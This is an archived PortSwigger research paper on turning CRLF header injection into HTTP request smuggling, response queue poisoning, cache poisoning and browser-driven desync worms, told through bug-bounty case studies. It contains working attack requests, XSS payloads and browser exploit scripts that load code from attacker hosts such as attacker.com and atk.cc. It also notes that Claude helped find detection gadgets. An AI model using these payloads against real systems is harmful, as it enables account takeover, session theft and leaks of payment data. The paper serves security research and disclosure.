

CRLF-Powered Desync Attacks: Beheading HTTP Streams

CRLF-Powered Desync Attacks: Beheading HTTP Streams - Author not stated, PortSwigger Research.

- Published: 2026-08-05
- Original: <<https://portswigger.net/research/crlf-powered-desync-attacks>>
- Preserved from: <https://portswigger.net/research/crlf-powered-desync-attacks> (live) on 2026-08-08
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

CRLF-Powered Desync Attacks: Beheading HTTP Streams | PortSwigger Research

CRLF-Powered Desync Attacks: Beheading HTTP Streams

[image: Tom Stacey]

Tom Stacey

Researcher

[@t0xodile](#)

-

**Published: **Wednesday, 5 August 2026 at 23:30 UTC

-

**Updated: **Wednesday, 5 August 2026 at 23:30 UTC

-

[Abstract]()

In this paper we'll show that HTTP Header Injection is severely underestimated. Forget open redirects or [Cross-Site Scripting](#) and instead, embrace the catastrophic potential of the CRLF-

Powered Desync Worm.

We'll begin by teaching you how to take a simple header injection primitive and transform it into a full-blown desync worm. Next, we'll introduce novel methods to detect and exploit IP and connection-locked desyncs which prevent cross-network exploitation by shifting the desync's execution into the victim's browser to generate an XSS out of thin air and steal HTTPOnly cookies.

Along the way, we'll help you avoid accidental desync disasters like logging every active user of your target into your own account causing your shopping cart to be overwritten with random users' items on every refresh.

[Collaboration]()

This paper was co-authored with [Tobia Righi](#) from [TurtleSec](#). Over the last year, we've collaborated on this research in order to ensure that every single technique was pushed to its absolute limit. This went rather well, and we ended up co-presenting the results at BHUSA and DEFCON. You can read his own version of the paper on [TurtleSec's blog](#).

- [Research Origins]()
- [HTTP Request Smuggling]()
- [Request Header Injection]()
- [Detecting Request Header Injection]()
- [HTTP Request Splitting]()
- [Response Queue Poisoning via Request Splitting]()
- [RQP Inside the Infrastructure of a CDN]()
- [Header Injection via Custom Upstream Header]()
- [Header Injection via Non-Path Insertion Points]()
- [AI-Generated Detection Techniques]()
- [CRLF-Powered CL.TE Desync Attacks]()
- [The Desync Disaster]()
- [The Nested Response Mystery]()
- [Cache Poisoning & AI-Generated HEAD Gadget]()
- [Browser-Powered CRLF Desync Attacks]()
- [CRLF-Powered Desync Worms]()
- [HTTP Request Tunnelling]()
- [Bypassing Blind Request Tunnelling]()
- [Bypassing Access Controls via Request Tunnelling]()
- [Browser-Powered Connection-Locked Desyncs]()
- [Browser-Powered O.CL]()
- [Browser-Powered IP-Locked Desyncs]()
- [Browser-Powered Request Splitting - HEAD + Range]()

- [Browser-Powered Request Splitting - Stealing HTTPOnly Cookies]()
- [Bypassing Response Header Removal]()
- [Response Header Injection]()
- [Cookie Tossing - TikTok]()
- [XSS on a Redirect]()
- [Reverse Desync Attacks]()
- [Defence]()
- [Tooling]()
- [Further Research]()
- [Key Takeaways]()
- [Conclusion]()

[Research Origins]()

Around 1 year ago, we came across [this post on Bluesky](#) which mentioned an attack technique we'd heard of, but never come across in the wild. This post bothered us, as it claimed the attack was "not that uncommon" in spite of our failure to ever find it. On top of this, we knew of at least two other research papers on the same topic (both of which were in their respective year's [Top 10 Web Hacking Techniques](#)).

The first, [Making HTTP header injection critical via response queue poisoning](#) by James Kettle explains how you can achieve [HTTP request smuggling](#) using request splitting, citing a single case study as evidence. The second, [HTTP Request Splitting Vulnerabilities Exploitation](#) by Sergey Bobrov explores how common request splitting actually is, due to a common Nginx misconfiguration, but only briefly mentions the potential for desyncs.

This got us thinking. What would happen if we took James' desync techniques, and applied them to everything that seemed vulnerable to HTTP header injection. After our first encounter, we quickly realised the technique's potential and started to spot gaps in its current understanding.

[HTTP Request Smuggling]()

This entire paper will talk extensively about request smuggling, and therefore we highly recommend going through our free [Web Security Academy](#) resources if you're not already familiar.

##

In Nginx configurations (an extremely popular web server) if the `$uri` variable is included in the `proxy_pass` directive, Nginx will [normalise](#) the request path before use, url-decoding any encoded characters including CRLF sequences (`%0d%0a`). This allows us to inject new lines into the request that is forwarded upstream of Nginx, giving us full control over the structure of that request.

```
# nginx.conf http { upstream backend { server backend.internal.com:8000; } server { location / { proxy_pass http://backend$uri; } } }
```

For example, here we inject an invalid Content-Length header whilst maintaining the syntax of the request and produce an expected 400 response.

```
GET /%20HTTP/1.1%0d%0aContent-Length:%20X%0d%0aX:%20x HTTP/1.1 Host: example.com GET / HTTP/1.1  
Content-Length: X X: x HTTP/1.1 Host: example.com HTTP/1.1 400 Bad Request
```

To better represent the structure of these injections, we'll use the following [Hackvector](#) syntax, which is extremely helpful when it comes to working with these kinds of vulnerabilities inside Burp Suite.

```
GET /<@urlencode_all> HTTP/1.1 Content-Length: X X: x</@urlencode_all> HTTP/1.1 Host: example.com
```

##

Detection for request header injection is thankfully quite simple. Inject a header or piece of invalid HTTP syntax in order to produce a predictable status code.

```
GET /<@urlencode_all> HTTP/1.3.37 Foo: bar</@urlencode_all> HTTP/1.1 HTTP/1.1 505 Version Not Supported  
GET /<@urlencode_all> HTTP/1.1 Transfer-Encoding: x Foo: bar</@urlencode_all> HTTP/1.1 HTTP/1.1 501 Not  
Implemented
```

[HTTP Request Splitting]()

Historically request splitting has referred to an ultra powerful form of [Cross-Site Request Forgery](#). However, James explained that by splitting the request into exactly two requests and using a little automation, you could achieve [Response Queue Poisoning](#) (RQP).

This technique does not breach the RFC using mutated headers in any way. Two CRLF sequences in a row, are simply another boundary between requests and as a result, this technique works exceptionally well out-of-the-box.

It's worth noting that the Connection header is sometimes required, but not always. We recommend adding it just to experiment but for the sake of clarity, we've removed it from our examples.

```
`GET /<@urlencode_all> HTTP/1.1 Host: example.com Connection: keep-alive
```

```
TRACE / HTTP/1.1 X: x</@urlencode_all> HTTP/1.1 Host: example.com` HTTP/1.1 200 OK HTTP/1.1 200  
OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 405 Method Not Allowed
```

[Response Queue Poisoning via Request Splitting]()

RQP is a truly glorious attack, where you smuggle two complete requests, this causes the server to lose track of which response is meant to go to who, and instead send everyone random responses intended for other users.

From an attacker's perspective, this means we can continuously harvest responses intended for other users, containing all kinds of sensitive data, all whilst causing a denial-of-service for everybody else.

[\[image: Response Queue Poisoning via Request Splitting\]](#)

[RQP Inside the Infrastructure of a CDN]()

After a few days of scanning, and by just applying the techniques outlined in [Making HTTP header injection critical via response queue poisoning](#), we quickly found a domain where we could trigger RQP.

However when we did, we noticed that the responses we received weren't from our target application. Instead, we received a stream of responses from various unrelated applications each running a different tech stack. Given the range of unrelated content we were receiving we realised that our desync was occurring inside of the CDN's own infrastructure. To confirm this we figured out which domain each stolen response originated from, and then checked if that host was hosted on the target CDN.

[\[image: RQP inside of a CDN\]](#)

When we reported this to the program, they didn't believe us and asked for more evidence. This forced us to take a significantly more dangerous approach.

When you trigger a desync this close to the edge you'll often find that you can route requests to arbitrary domains on the CDN by adjusting the Host header. With this in mind, we quickly found a persistent storage gadget and used a classic prefix attack in order to [store the requests of other users](#) in our account's nickname field. Each captured request included a Host header indicating where the request was originally routed, providing us with enough evidence for triage.

Impact wise, as a result of capturing requests, we also started to capture session cookies and auth tokens for thousands of applications hosted on the CDN. They did insist we provide more evidence.

[\[image: Capturing requests inside of a CDN\]](#)

###

Occasionally, you'll encounter behaviour where your injection ends up inside a custom header rather than the path.

```
GET /%0d%0aHost:%20x HTTP/1.1 Host: tele.com GET / HTTP/1.1 Host: tele.com X-Original-Url: / Host:
x HTTP/1.1 400 Bad Request
```

Once you figure out where the injection is occurring, these cases are trivial to exploit. In this major Telecoms provider, we could exit the request immediately and inject a second complete request, again producing RQP.

```
`OPTIONS /<@urlencode_all>
```

```
GET / HTTP/1.1 Host: tele.com Connection: keep-alive
```

```
</@urlencode_all> HTTP/1.1 Host: tele.com OPTIONS / HTTP/1.1 Host: tele.com X-Original-Url: /
```

```
GET / HTTP/1.1 Host: tele.com Connection: keep-alive`HTTP/1.1 200 OK Allow: OPTIONS, GET
```

```
HTTP/1.1 200 OK Allow: OPTIONS, GET
```

```
HTTP/1.1 200 OK {"token":"eyJ..."}`
```

After running the exploit with 500 connections for over 20 minutes, we eventually started to steal access tokens from their internal infrastructure, landing us a hefty \$20,000 bounty.

###

In a similar vein, your insertion point may not always be the request's path. We knew this was theoretically possible, but failed to find a single case until very recently when we asked Claude to build the scan for us. We're unsure what differed about its approach, but it instantly produced a case of request header injection inside a payment provider's session cookie.

```
POST /graphql/v1 HTTP/1.1 Host: payment.com Cookie: sess=abc<@urlencode_all> Transfer-Encoding:
notchunked X: x</@urlencode_all> POST /graphql/v1/abc Transfer-Encoding: notchunked X: x HTTP/1.1 Host:
payment.com HTTP/1.1 501 Not Implemented
```

Here, our injection ends up back in the path of the upstream request, making exploitation via RQP trivial.

```
`POST /graphql/v1 HTTP/1.1 Host: payment.com Cookie: sess=abc<@urlencode_all> HTTP/1.1 Host:
payment.com Connection: keep-alive
```

```
GET / HTTP/1.1 Connection: keep-alive X: x</@urlencode_all> POST /graphql/v1/abc HTTP/1.1
Host: payment.com Connection: keep-alive
```

```
GET / HTTP/1.1 Connection: keep-alive X: x HTTP/1.1 Host: payment.com`HTTP/1.1 200 OK
```

```
HTTP/1.1 200 OK Access-Control-Allow-Origin: x.ecom
```

```
{"card_num":"..."}
```

```
HTTP/1.1 200 OK Access-Control-Allow-Origin: y.ecom
```

```
{"card_num":"..."}
```

```
,
```

Upon triggering our exploit, we noticed that we received credit card numbers and PII data from multiple major corporations. While demonstrating this to an ex-colleague of mine (you rock Wictor), he pointed out that the response headers indicated that the desync was occurring inside the provider's Kubernetes cluster, allowing us to randomly exfiltrate customer data for every organisation using the payment provider.

[AI-Generated Detection Techniques]()

At this point in the research, our detection techniques started to become less reliable. In an attempt to invent new ones, we asked Claude. It came back with the Expect header, and its unique 417 status code.

```
GET /<@urlencode_all> HTTP/1.1 Expect: asdf X: x</@urlencode_all> HTTP/1.1 Host: example.com HTTP/1.1 417
Expectation Failed Connection: close
```

With this added to our tooling, we quickly found a popular clothing store which looked vulnerable. Sadly, when attempting our usual approach of using two CRLF sequences in a row to split the request, we'd always receive an error and a closed connection.

```
`GET /<@urlencode_all> HTTP/1.1 Host: example.com Connection: keep-alive
```

```
GET / HTTP/1.1 Foo: bar</@urlencode_all> HTTP/1.1 Host: example.com` HTTP/1.1 400 Bad Request
Connection: close
```

We were however still able to inject headers as that avoided having to use two CRLF sequences in a row.

```
GET /<@urlencode_all> HTTP/1.1 Random_header: asdf Foo: bar</@urlencode_all> HTTP/1.1 Host:
example.com HTTP/1.1 200 OK
```

The only question that remained then was, can we achieve a desync by injecting a single header?

[CRLF-Powered CL.TE Desync Attacks]()

By creating a request with a Content-Length header and an **injected** Transfer-Encoding header, we realised we could achieve a classic **CL.TE** desync. As we'll see later, it is also possible to achieve a 0.CL desync, but these are significantly trickier to exploit and we'd therefore recommend sticking with a CL.TE desync where possible.

Using the [timeout technique](#), you can get a good idea of whether or not your injected header is being processed upstream.

```
`POST /<@urlencode_all> HTTP/1.1 Transfer-Encoding: chunked Foo: bar</@urlencode_all>
HTTP/1.1 Host: example.com Content-Length: 13
```

```
d x=y 0` -TIMEOUT-
```

[The Desync Disaster]()

Once we figured out how to trigger a desync, we wanted to confirm that we could impact other users directly, by smuggling an update to my profile page.

```
`POST /<@urlencode_all> HTTP/1.1 Transfer-Encoding: chunked Foo: bar</@urlencode_all>
HTTP/1.1 Host: clothes.shop Content-Length: 66
```

```
0
```

```
POST /user/update?name=t0xodile Cookie: SESSID=abcdefg X: x` HTTP/1.1 200 OK GET / HTTP/1.1
Host: clothes.shop `HTTP/1.1 200 OK Set-Cookie: SESSID=abcdefg
```

```
Profile Updated`
```

This worked, but quickly went disastrously wrong. We had failed to notice that the response would reflect my session cookie causing any user impacted by the desync to be instantly logged into my account. This caused a hilarious interaction, where my shopping cart would update with new items on each browser refresh, as thousands of live users attempted to fight over the same cart.

Cart Disaster

To fully exploit the vulnerability, we opted to replace users' email addresses with our own, allowing us to steal the accounts of every live user on every subdomain of the shop. In the end, the program forgave us for my blunder and rewarded us with a \$2,200 bounty.

```
`POST /<@urlencode_all> HTTP/1.1 Transfer-Encoding: chunked Foo: bar</@urlencode_all>
HTTP/1.1 Host: clothes.shop Content-Length: 69
```

```
0
```

```
POST /user/update?email=t0x@atk.cc Cookie: SESSID=abcdefg X: x` HTTP/1.1 200 OK GET / HTTP/1.1
Host: clothes.shop `HTTP/1.1 200 OK Set-Cookie: SESSID=abcdefg
```

```
Profile Updated`
```

[The Nested Response Mystery]()

On a major phone manufacturer's accounts subdomain, we were able to produce some unusual stacked response behaviour.

```
`POST /<@urlencode_all> HTTP/1.1 Transfer-Encoding: chunked Foo: bar</@urlencode_all>
HTTP/1.1 Host: account.phones.com Content-Length: 87
```

0

```
GET / HTTP/1.1 Host: account.phones.com x-req-id: <img/src/onerror=alert(1)>`HTTP/1.1 404 Not
Found Content-Type: application/octet-stream
```

```
Not FoundHTTP/1.1 400 Bad Request Content-Type: application/octet-stream
```

```
X-Req-Id=<img/src/onerror=alert(1)>`
```

We initially mistook this for [request tunnelling](#) which would have prevented cross-user impact. But on closer inspection found that with a significantly higher number of connections, we could trigger a full desync that would impact other users.

We still don't know for certain why this worked, but our best guess is that the front-end performs a small over-read when processing responses. However, rather than dumping the extra data and resetting the connection when encountering more data than expected, it decides to read in that extra data and forward it. This leaves us with a small race window where an entire extra response can end up appended to other live users' responses.

Sadly, our nested response's XSS payload would never fire, because the Content-Type header would not render HTML.

As a last resort and on the advice of a friend (shoutout to you [Daniel](#)), we opted to go for a blind XSS payload just in case. This ended up working spectacularly, causing our collaborator to receive pingbacks from mobile phones all around the world.

```
`POST /<@urlencode_all> HTTP/1.1 Transfer-Encoding: chunked Foo: bar</@urlencode_all>
HTTP/1.1 Host: account.phones.com Content-Length: 86
```

0

```
GET / HTTP/1.1 Host: account.phones.com x-req-id: <img/src/onerror=fetch(>`HTTP/1.1 200 OK
Content-Type: text/html
```

```
... </html>HTTP/1.1 400 Bad Request Content-Type: application/octet-stream
```

```
X-Req-Id=<img/src/onerror=fetch(>`
```

To fully exploit this behaviour, Tobia used a QR code gadget from his previous research to perform an account takeover on arbitrary live users.

When we reported this to the program, they quickly closed it as duplicate. We checked back a few months later and found the recreation flow still worked. Suspicious of this, we emailed their security team and got the report re-opened with a \$500 bounty awarded for our efforts.

[Cache Poisoning & AI-Generated HEAD Gadget]()

For our final CLTE case study, we found ourselves able to poison the home page of a major social media's CDN domain with any valid response on the platform. We thought this was pretty cool, but the program wanted more impact.

```
`POST /<@urlencode_all> HTTP/1.1 Transfer-Encoding: chunked Foo: bar</@urlencode_all>
HTTP/1.1 Host: cdn.doomscroll.com Content-Length: 46
```

0

```
GET /images/randomlogo.png HTTP/1.1 X: x`HTTP/1.1 200 OK X-Cache: MISS
```

```
HTTP/1.1 200 OK X-Cache: MISS
```

```
HTTP/1.1 200 OK X-Cache: MISS GET / HTTP/1.1 Host: cdn.doomscroll.com `HTTP/1.1 200 OK X-
Cache: HIT
```

```
<image>`
```

With absolutely zero gadgets on the domain, we opted to use the HEAD technique to achieve this. You can read more about how the HEAD technique actually works in [the Web Security Academy](#).

Sadly, finding the perfect response size for our HEAD technique took us months of digging. In the end, we simply asked Claude for a response that was between two specific Content-Length values. To our surprise this actually worked, providing us with the default 414 URI Too Long response.

All we had to do was create a HEAD request with an overlong path and our XSS was served to random live users.

```
`POST /<@urlencode_all> HTTP/1.1 Transfer-Encoding: chunked Foo: bar</@urlencode_all>
HTTP/1.1 Host: cdn.doomscroll.com Content-Length: <correct>
```

0

```
HEAD /?<a*1000> HTTP/1.1
```

```
GET / HTTP/1.1 X-Reflect: <img/src/onerror=fetch()> Content-Length: 100
```

```
x=y`HTTP/1.1 414 URI Too Long Content-Type: text/html Content-Length: 64
```

```
HTTP/1.1 204 No Content X-Reflect: <img/src/onerror=fetch()>`
```

[Browser-Powered CRLF Desync Attacks]()

In [Browser-Powered Desync Attacks](#), James Kettle revealed that a few desync classes were actually entirely fetch-spec compatible. This means that it is entirely possible for a browser to issue those attacks. After months of exploiting classic desync cases, we noticed that the same was true for our CRLF-Powered Desync attacks.

In fact, for the vast majority of CRLF-Powered Desync attacks you can use fetch, or even a basic browser navigation to trigger these desyncs, opening up a lot more opportunity when it comes to exploitation.

```
`GET /<@urlencode_all> HTTP/1.1 Host: example.com Connection: keep-alive
```

```
GET / HTTP/1.1 Foo: bar</@urlencode_all> HTTP/1.1 Host: example.com` fetch(
```

```
"https://example.com/%20HTTP/1.1%0d%0a Host:%20example.com%0d%0a Connection:%20keep-
```

```
alive%0d%0a%0d%0a GET%20/%20HTTP/1.1%0d%0aFoo:%20bar" ) `POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked Foo: bar</@urlencode_all> HTTP/1.1 Host: example.com Content-
Length: 27
0
```

```
TRACE / HTTP/1.1 X: x` fetch( "https://example.com/%20HTTP/1.1%0d%0a Transfer-
Encoding:%20chunked%0d%0a Foo:%20bar", { method: "POST", body: "0\r\n\r\nTRACE / HTTP/1.1\r\nX: x" } )
```

[CRLF-Powered Desync Worms]()

In the same paper, James [theorised](#) an attack where an attacker abuses request smuggling in order to trigger XSS in the victim's browser. The victim's browser could then be used as a platform to trigger the same desync attack via fetch, spreading the attack to even more users and resulting in a self-replicating desync worm.

[\[image: CRLF-Powered Desync Worm\]](#)

This is true power of CRLF-Powered Desync attacks. This class of desync is usually entirely browser-compatible, meaning that you can almost always achieve a desync worm if you have an XSS gadget via the HEAD technique or otherwise.

In fact, if you look back at our case studies so far, you'll notice that all of them were very likely browser-compatible, and therefore susceptible to this exact scenario. If you're having trouble getting through triage, a reminder of the potential for this attack might go a long way.

Exploiting Browser-Powered Desyncs that impact other users follows exactly the same process as [regular desync attacks](#), so we won't dwell on it here. However, the ability to launch attacks from the victim's browser does open up a lot more opportunities in cases where cross-user exploitation is not usually possible.

[HTTP Request Tunnelling]()

Request tunnelling often looks exactly like request smuggling, but cross-user exploitation is prevented because keep-alive connections are not reused. You can learn all you need about it in our [Web Security Academy](#).

[Bypassing Blind Request Tunnelling]()

Exploiting tunnelling is often tricky, due to the fact that it is usually blind. This means that you never see your prefix have any affect on the responses you receive. You can occasionally bypass this limitation simply by using the HEAD verb, causing the front-end to accidentally over-read from the back-end, revealing the tunnelled response.

However, we found a far more reliable method. When Nginx encounters a 100-continue response that it didn't expect, it sees a response without a Content-Length header and decides to continually read data until there isn't any left or the connection gets closed. This helpfully returns our smuggled response.

```
`GET /<@urlencode_all> HTTP/1.1 Host: example.com Connection: keep-alive
```

```
TRACE / HTTP/1.1 Foo: bar</@urlencode_all> HTTP/1.1 Host: example.com` HTTP/1.1 200 OK `GET  
/<@urlencode_all> HTTP/1.1 Host: example.com Connection: keep-alive Expect: 100-continue  
TRACE / HTTP/1.1 Foo: bar</@urlencode_all> HTTP/1.1 Host: example.com``HTTP/1.1 100 Continue  
HTTP/1.1 200 OK  
HTTP/1.1 405 Method Not Allowed`
```

[Bypassing Access Controls via Request Tunnelling]()

To abuse this behaviour, you can target front-end [access control](#) rules. For example, on a well-known car manufacturer's domain, we were able to bypass a front-end access control rule using this technique to gain access to an internal configuration file.

```
`GET /robots.txt<@urlencode_all> HTTP/1.1 Host: carmanufacturer.com Connection: keep-alive  
Expect: 100-continue  
GET /config HTTP/1.1 X: x</@urlencode_all> HTTP/1.1 Host: carmanufacturer.com ``HTTP/1.1 100  
Continue  
HTTP/1.1 200 OK  
Disallow: /HTTP/1.1 200 OK Content-Type: application/json  
{"config":{"..."}}`
```

[Browser-Powered Connection-Locked Desyncs]()

Another more limited form of desync attack is a connection-locked desync, where you must reuse your own keep-alive connections from the client in order to have your connections reused upstream. This again, prevents normal methods of cross-user exploitation.

[Browser-Powered 0.CL]()

On a major streaming service neither request splitting or the Transfer-Encoding header seemed to have any impact. However, once [HTTP/1.1 must die](#) was released, we realised that a connection-locked 0.CL attack might be the solution. By re-using our keep-alive connections to the front-end, we were able to find clear signs of a desync

```
`GET /images/<@urlencode_all> HTTP/1.1 Content-Length: 7 X: x</@urlencode_all> HTTP/1.1 Host:  
secure.streaming.com Connection: keep-alive  
GET /images/<@urlencode_all> HTTP/1.1 Content-Length: 7 X: x</@urlencode_all> HTTP/1.1 Host:  
secure.streaming.com Connection: keep-alive``HTTP/1.1 200 OK  
HTTP/1.1 400 Bad Request`
```

You can read more about how to exploit 0.CL desync in [HTTP/1.1 Must Die](#), but in our case, we found a way to trigger the HEAD technique with two requests sent down the same connection, resulting in an XSS.

```
`GET /images/<@urlencode_all> HTTP/1.1 Content-Length: 23 X: x</@urlencode_all> HTTP/1.1  
Host: secure.streaming.com Connection: keep-alive  
GET /images/<@urlencode_all> HTTP/1.1 HEAD /50x.html HTTP/1.1 Host: localhost
```

```
GET /status<svg/onload=alert(1)> HTTP/1.1 Host: secure.streaming.com
</@urlencode_all> HTTP/1.1 Host: secure.streaming.com Connection: keep-alive`HTTP/1.1 200 OK
HTTP/1.1 200 OK Content-Type: text/html
HTTP/1.1 307 Temporary Redirect Location: /status<svg/onload=alert(1)>`
```

The only limitation now was getting the attack into the browser.

Browser's love to reuse connections, but only in specific cases. In our case, we combined window.open() and a location navigation which landed both requests on the same connection and triggered our exploit.

```
<script> code = s=document.createElement('script'); s.src='https://attacker.com/xss.js?
nocache';document.body.appendChild(s); stage1 =
"https://secure.streaming.com/%20HTTP/1.1%0d%0a Content-Length:%2023%0d%0a X:%20x";
stage2 = "https://secure.streaming.com/images/%20HTTP/1.1%0d%0a
HEAD%20/50x.html%20HTTP/1.1%0d%0a Host:%20localhost%0d%0a%0d%0a
GET%20/status%3Csvg/onload=eval(atob(""+btoa(code)+""))%3E%20HTTP/1.1%0d%0a
Host:%20secure.streaming.com%0d%0a%0d%0a"; </script>

<button id="first" target="_blank" onclick="let w=window.open(stage1); setTimeout(() => {w.close();
location=stage2}, 500); return false;">

Click me!

</button>`
```

We abused our XSS to steal PII data from the target's core domain and received \$5000 for our efforts.

[Browser-Powered IP-Locked Desyncs]()

There is yet another limited form of request smuggling called an IP-locked desync. This type of desync can impact users that share the same public IP (if they use the same VPN connection for example), but for most Bug Bounty programs, that explanation won't help you get through triage.

Instead, by moving the attack into the victim's browser you can simply have the victim execute the desync on your behalf. This is extra powerful if there are other users sharing a public IP, as those users will be impacted when the victim launches the attack over the VPN connection.

[Browser-Powered Request Splitting - HEAD + Range]()

On another target, we found that by using HTTP/2, and an injected expect header we could achieve an IP-locked desync.

```
`GET /docs/index.html<@urlencode_all>? HTTP/1.1 Host: proxy.account.software.com Connection:
keep-alive Expect: 100-continue

TRACE / HTTP/1.1 X: x</@urlencode_all> HTTP/2 Host: proxy.account.software.com`HTTP/2 100
Continue

HTTP/1.1 200 OK

HTTP/2 100 Continue
```

HTTP/1.1 200 OK

HTTP/2 100 Continue

HTTP/1.1 200 OK

HTTP/2 405 Method Not Allowed`

To exploit this, we opted again for the HEAD technique. Unfortunately, we were presented with very limited response sizes to abuse. However, we realised that we actually had the ultimate HEAD technique gadget, the Range header.

The Range header lets you specify a range of bytes from the response you wish the server to return. This helpfully automatically adjusts the response's Content-Length header, meaning that so long as you have a response that's long enough, you can abuse the HEAD technique in combination with the range header in order to over-read into payloads with an arbitrary length.

We quickly found a reflection gadget and built the following exploit.

```
`GET /docs/index.html<@urlencode_all>? HTTP/1.1 Host: proxy.account.software.com Expect: 100-continue Range: bytes=1-2
```

```
HEAD /docs/ HTTP/1.1 Host: proxy.account.software.com Range: bytes=1-650 Connection: keep-alive
```

```
POST /docs/ HTTP/1.1 Host: proxy.account.software.com Content-Length: 20
```

```
<script/src=\\atk.cc></@urlencode_all> HTTP/2 Host: proxy.account.software.com`HTTP/2 206 Partial Content Content-Type: text/html Content-Range: bytes 1-650/X Content-Length: X
```

```
HTTP/1.1 400 Bad Request
```

```
"Unexpected token '<, \\<script/src=\\atk.cc> \\' is not validJSON"
```

Due to a length limitation in our reflection gadget, we had to use a script tag in our reflection gadget, but ended up without a closing script tag in our response. This initially looked like a blocker, until we realised that we could simply stack another request into our head gadget, and grab only a closing script tag using Range.

```
`GET /docs/index.html<@urlencode_all>? HTTP/1.1 Host: proxy.account.software.com Expect: 100-continue Range: bytes=1-2
```

```
HEAD /docs/ HTTP/1.1 Host: proxy.account.software.com Range: bytes=1-650
```

```
POST /docs/ HTTP/1.1 Host: proxy.account.software.com Content-Length: 20
```

```
<script/src=\\atk.cc>GET /index.html HTTP/1.1 Range: bytes=2828-2836 X: x</@urlencode_all> HTTP/2 Host: proxy.account.software.com`HTTP/2 206 Partial Content Content-Type: text/html Content-Range: bytes 1-650/X Content-Length: X
```

```
HTTP/1.1 400 Bad Request
```

```
"Unexpected token '<, \\<script/src=\\atk.cc> \\' is not validJSON"HTTP/1.1 206 Content-Range: bytes 2828-2836/X Content-Length: 9
```

```
</script>`
```

Moving this attack into the browser presented some limitations. Because we needed to use RQP in order to trigger our exploit, our previous window.open() trick was not fast enough to be consistent. I left this with Tobia, and an afternoon of hacking later he had a solution.

His idea was to rapidly create iframes that loaded our attack, and then after a short delay, delete them in order to prevent the browser crashing.

```
function createIframe(i) { e = document.createElement("iframe") e.src =  
"https://proxy.account.software.com/docs/index.html%20HTTP/1.1%0d%0a ...?count=" + i e.style = "display: none;"  
e.addEventListener("onload", () => { setTimeout(() => { e.remove(); }, 3000); //Adjust time that iframe is alive })  
e.addEventListener("error", () => { setTimeout(() => { e.remove(); }, 3000); }) document.body.appendChild(e); }  
count = 0; var inter = setInterval(() => { createIframe(count); count++; }, 10); //Adjust delay between new iframes  
here
```

Finding the right timeout for the iframes was a challenge as if it's too short, the XSS wouldn't have enough time to execute. Additionally, doing it fast enough and reliably caused us to require the user to sit on the attacker-controlled page for roughly 10 seconds. In the end, creating a fancy "Loading your profile" page gave us the 10 seconds we needed to trigger the XSS and abuse a [CORS](#) misconfiguration to extract authentication tokens and PII from the XSSed iframe. This netted us a \$3,255 bounty and some kudos from the program.

####

For our final desync case study, we found ourselves on a domain where XSS was completely useless due to a well-implemented 2FA flow that triggered on all sensitive actions and the HTTPOnly cookie attribute.

However, while browsing around the site, Tobia realised that the session cookie was often refreshed on certain responses. With this in mind, we wondered what would occur if we used the HEAD technique to gain XSS and then, stacked another response containing sensitive data after the XSS payload. This would hopefully push our Set-Cookie response header containing the session token into the response's body.

```
`GET /api/footer<@urlencode_all>? HTTP/1.1
```

```
HEAD /abc HTTP/1.1 Host: accounts.shop.com Connection: keep-alive
```

```
GET /static?<xss-payload> HTTP/1.1 Host: accounts.shop.com
```

```
GET /api/account HTTP/1.1 Host: accounts.shop.com X: x</@urlencode_all> HTTP/2 Host:  
accounts.shop.com Cookie: Session=victim`HTTP/1.1 200 OK Content-Type: text/html Content-  
Length: 17982
```

```
HTTP/1.1 301 Moved Permanently Location: /?<xss-payload>
```

```
...
```

```
HTTP/1.1 200 OK Content-Type: application/json Set-Cookie: Session=victim; HttpOnly
```

```
{"email":"victim@gmail.com",... }`
```

This worked, and allowed us to use the XSS to simply read the DOM, and exfiltrate the session token to an attacker controlled server.

In order to move this into the browser and use the victim's session, we couldn't use iframes. Instead, we waited for a click from the user (in order to bypass the pop-up warning) and then opened a new window which constantly refreshed until the XSS triggered.

```
`const REQ = "https://accounts.shop.com/api/get_footer_layout%3f%20%48%54%54%50%2f%32%0d%0a%0d..."; const w = window.open(REQ, "shop_win", "width=300,height=200"); setInterval(() => { for (const w of wins) w.location = REQ + "?count=" + (i++); // cache-buster }, 3000);

// Chrome allows one window.open per user gesture — so every victim click // buys another window which we keep track of. document.addEventListener("click", () => openWindow());

// s.js (now running first-party) signals success back: window.addEventListener("message", ev => { if (ev.data?.event === "popped") { /* XSS landed */ } });`

##
```

The Expect header continues to be useful outside of desync attacks. Last year in [HTTP/1.1 must die](#) we saw that the Expect header can be abused in order to cause the front-end to forget to strip sensitive response headers.

You can achieve exactly the same result on even more targets, if you inject the Expect header instead.

```
GET /<@urlencode_all> HTTP/1.1 Expect: 100-continue Foo: bar</@urlencode_all> HTTP/1.1 Host: shop.minisoft.com `HTTP/1.1 100 Continue
```

```
HTTP/1.1 200 OK x-fd-int-roxy-origin-ip: <redacted> x-fd-int-roxy-origin-name: <redacted> x-fd-int-roxy-origin-url: <redacted> x-fd-int-roxy-upstream-error-info: <redacted> x-fd-int-roxy-originshield-parent: <redacted>
```

##

A natural question to ask ourselves once we had gotten this far was, “what about response header injection”? This technique is often known as response splitting which is an unusual name for a technique that doesn't actually involve splitting the response in two as is the case in request splitting.

Response header injection is well known, and can arise from a very similar Nginx misconfiguration.

```
# nginx.conf location / { return 302 https://example.com$uri; } GET /%0d%0aX-In-Hdr:%201%0d%0a%0d%0a HTTP/1.1 Host: sub.example.com HTTP/1.1 302 Moved Temporarily Server: nginx Location: https://example.com/X-In-Hdr: 1
```

Using this technique, we can achieve impact in a couple of ways.

###

By injecting a Set-Cookie response header, an attacker can attach their own session to the victim's browser.

```
GET /%0d%0aSet-Cookie:%20Sess=abc%0d%0a%0d%0a HTTP/1.1 Host: redacted.tiktok.com HTTP/1.1 302 Location: /404?prev_url=/ Set-Cookie: Sess=abc
```

From then on, any sensitive actions the victim takes, end up occurring in the attacker's session instead. On a TikTok domain, we found that we could perform this attack, allowing us to steal the victim user's newly uploaded private clips.

[image: Cookie Tossing]

Reporting this to TikTok was an incredibly smooth triage experience and netted us a healthy \$4,500 bounty.

[XSS on a Redirect Response]()

